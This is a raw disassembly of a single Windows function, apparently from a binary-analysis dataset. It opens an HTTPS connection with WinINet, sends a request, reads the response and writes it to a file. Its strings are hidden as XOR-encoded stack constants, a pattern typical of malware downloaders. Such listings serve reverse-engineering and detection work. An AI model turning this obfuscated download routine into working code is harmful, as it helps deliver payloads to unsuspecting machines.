Function at 0x407650
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d3f0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x528
mov eax, dword [0x10fcb40]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov edi, dword [ebx + 8]
push 0
push 0
push 0
push 1
mov dword [ebp - 0x4b4], eax
mov eax, dword [ebx + 0x10]
push 0x42e3a5
mov dword [ebp - 0x4a4], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x4b0], esi
test esi, esi
jne 0x407874
mov dword [ebp - 0x4a8], 0x93461e29
mov dword [ebp - 0x4a4], 0xc4137f4d
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x4a8], 0x19b4c58f
mov dword [ebp - 0x4a4], 0x65896d64
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x4a8], 0x28f7e5c5
mov dword [ebp - 0x4a4], 0x190be372
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x4a8], 0x3a4b2623
mov dword [ebp - 0x4a4], 0x72a219af
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x4a8], 0xff2f7f4f
mov dword [ebp - 0x4a4], 0xb0331b28
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4a8], 0x77dde5e0
mov dword [ebp - 0x4a4], 0x4e0190d
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4a8], 0x4d8d8ca9
mov dword [ebp - 0x4a4], 0x77629452
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x434], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x4a8], 0x4e2e484a
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x4a4], 0x72a219af
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
push eax
push 0x10fdf00
movaps xmmword [ebp - 0x450], xmm1
call fcn.00401280
push eax
call fcn.00402890
add esp, 0xc
xor al, al
jmp 0x4084cc
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, eax
mov dword [ebp - 0x4ac], edx
test edx, edx
jne 0x407a4d
mov dword [ebp - 0x4a8], 0x93461e29
mov dword [ebp - 0x4a4], 0xd3137f4d
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x4a8], 0x12b38b8f
mov dword [ebp - 0x4a4], 0x70c06d6e
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x4a8], 0x3ff8acc6
mov dword [ebp - 0x4a4], 0x7762ba3e
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x4a8], 0x4e2e484a
mov dword [ebp - 0x4a4], 0x72a219af
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x4a8], 0xff2f7f4f
mov dword [ebp - 0x4a4], 0xb0331b28
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4a8], 0x77dde5e0
mov dword [ebp - 0x4a4], 0x4e0190d
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4a8], 0x4d8d8ca9
mov dword [ebp - 0x4a4], 0x77629452
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x434], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x4a8], 0x4e2e484a
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x4a4], 0x72a219af
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a4]
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
push eax
push 0x10fdf00
movaps xmmword [ebp - 0x450], xmm1
call fcn.00401280
push eax
call fcn.00402890
add esp, 0xc
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x4084cc
mov dword [ebp - 0x4a0], 0x8b571a3b
mov dword [ebp - 0x49c], 0xb0333107
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0x4d0], xmm1
mov dword [ebp - 0x4a0], 0xaf7b2b07
mov dword [ebp - 0x49c], 0x811d2a07
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x4e0]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0x4e0], xmm1
mov dword [ebp - 0x4a0], 0xff7b3a08
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
movaps xmm1, xmmword [ebp - 0x4f0]
lea eax, [ebp - 0x478]
xorps xmm1, xmmword [ebp - 0x430]
push 0
push 0x4800100
push eax
push 0
lea eax, [ebp - 0x4e0]
movaps xmmword [ebp - 0x4f0], xmm1
push eax
push dword [ebp - 0x4b4]
lea eax, [ebp - 0x4f0]
push eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
jne 0x407ea8
mov dword [ebp - 0x4a0], 0x93461e29
mov dword [ebp - 0x49c], 0xc4137f4d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x4a0], 0x7b2c58f
mov dword [ebp - 0x49c], 0x76c07768
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x4a0], 0x28f8fdcc
mov dword [ebp - 0x49c], 0x774ce021
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x4a0], 0x4e2e484a
mov dword [ebp - 0x49c], 0x72a219af
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x4d8d8ca9
mov dword [ebp - 0x49c], 0x77629452
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x434], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x4a0], 0x4e2e484a
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x49c], 0x72a219af
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
push eax
push 0x10fdf00
movaps xmmword [ebp - 0x450], xmm1
call fcn.00401280
push eax
call fcn.00402890
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0xc
push dword [ebp - 0x4ac]
call esi
push dword [ebp - 0x4b0]
call esi
xor al, al
jmp 0x4084cc
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x408083
mov dword [ebp - 0x4a0], 0x93461e29
mov dword [ebp - 0x49c], 0xc4137f4d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x4a0], 0x12aec58f
mov dword [ebp - 0x49c], 0x76c07d63
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x4a0], 0x28f8fdcc
mov dword [ebp - 0x49c], 0x774ce021
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x4a0], 0x4e2e484a
mov dword [ebp - 0x49c], 0x72a219af
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a0], 0x4d8d8ca9
mov dword [ebp - 0x49c], 0x77629452
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x434], ecx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x4a0], 0x4e2e484a
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x49c], 0x72a219af
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x460]
xorps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
push eax
push 0x10fdf00
movaps xmmword [ebp - 0x450], xmm1
call fcn.00401280
push eax
call fcn.00402890
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0xc
push dword [ebp - 0x4ac]
call esi
push dword [ebp - 0x4b0]
call esi
push edi
call esi
xor al, al
jmp 0x4084cc
mov dword [ebp - 0x4a0], 0xff041d38
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x500]
mov dword [ebp - 0x424], ecx
xorps xmm1, xmmword [ebp - 0x430]
push eax
push dword [ebp - 0x4a4]
movaps xmmword [ebp - 0x500], xmm1
call fcn.00413ac8
mov esi, eax
add esp, 8
mov dword [ebp - 0x4a4], esi
test esi, esi
jne 0x4083f6
mov dword [ebp - 0x4a0], 0x93461e29
mov dword [ebp - 0x49c], 0xc4137f4d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x4a0], 0x5bec58f
mov dword [ebp - 0x49c], 0x61947868
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x4a0], 0x21e4ea89
mov dword [ebp - 0x49c], 0x1804b437
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x4a0], 0x3c596838
mov dword [ebp - 0x49c], 0x1ccb6dc6
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x4a0], 0x859e7334
mov dword [ebp - 0x49c], 0xaa2717cc
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x4a0], 0xa8aaf9e4
mov dword [ebp - 0x49c], 0xb35539d1
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x4a0], 0xff2f7f4f
mov dword [ebp - 0x49c], 0xb0331b28
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x4a0], 0x77dde5e0
mov dword [ebp - 0x49c], 0x4e0190d
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x4a0], 0x4d8d8ca9
mov dword [ebp - 0x49c], 0x77629452
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x4a0], 0x4e2e484a
mov dword [ebp - 0x49c], 0x72a219af
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x4a0], 0x859e5d53
mov dword [ebp - 0x49c], 0xaa2717cc
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x4a0], 0xa8aaf9e4
mov dword [ebp - 0x49c], 0xb35539d1
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
movaps xmm1, xmmword [ebp - 0x530]
xorps xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x530], xmm1
movaps xmm1, xmmword [ebp - 0x520]
xorps xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x520], xmm1
movaps xmm1, xmmword [ebp - 0x510]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
xorps xmm1, xmmword [ebp - 0x450]
movaps xmmword [ebp - 0x510], xmm1
lea eax, [ebp - 0x530]
push eax
push 0x10fdf00
call fcn.00401280
push eax
call fcn.00402890
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0xc
push dword [ebp - 0x4ac]
call esi
push dword [ebp - 0x4b0]
call esi
push edi
call esi
xor al, al
jmp 0x4084cc
xorps xmm0, xmm0
mov dword [ebp - 0x484], 0
movups xmmword [ebp - 0x494], xmm0
mov dword [ebp - 0x480], 0xf
mov byte [ebp - 0x494], 0
or eax, 0xffffffff
mov dword [ebp - 4], 0
mov dword [ebp - 0x47c], eax
nop dword [eax + eax]
test eax, eax
je 0x408474
lea eax, [ebp - 0x47c]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [ebp - 0x47c]
mov esi, eax
lea ecx, [ebp - 0x494]
lea eax, [ebp - 0x418]
push eax
call fcn.00405950
test esi, esi
je 0x408474
mov eax, dword [ebp - 0x47c]
jmp 0x408430
mov esi, dword [ebp - 0x4a4]
lea eax, [ebp - 0x494]
cmp dword [ebp - 0x480], 0xf
push esi
push dword [ebp - 0x484]
cmova eax, dword [ebp - 0x494]
push 1
push eax
call fcn.00413da4
push esi
call fcn.004139e1
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0x14
push dword [ebp - 0x4ac]
call esi
push dword [ebp - 0x4b0]
call esi
push edi
call esi
lea ecx, [ebp - 0x494]
call fcn.00403f90
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040e963
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret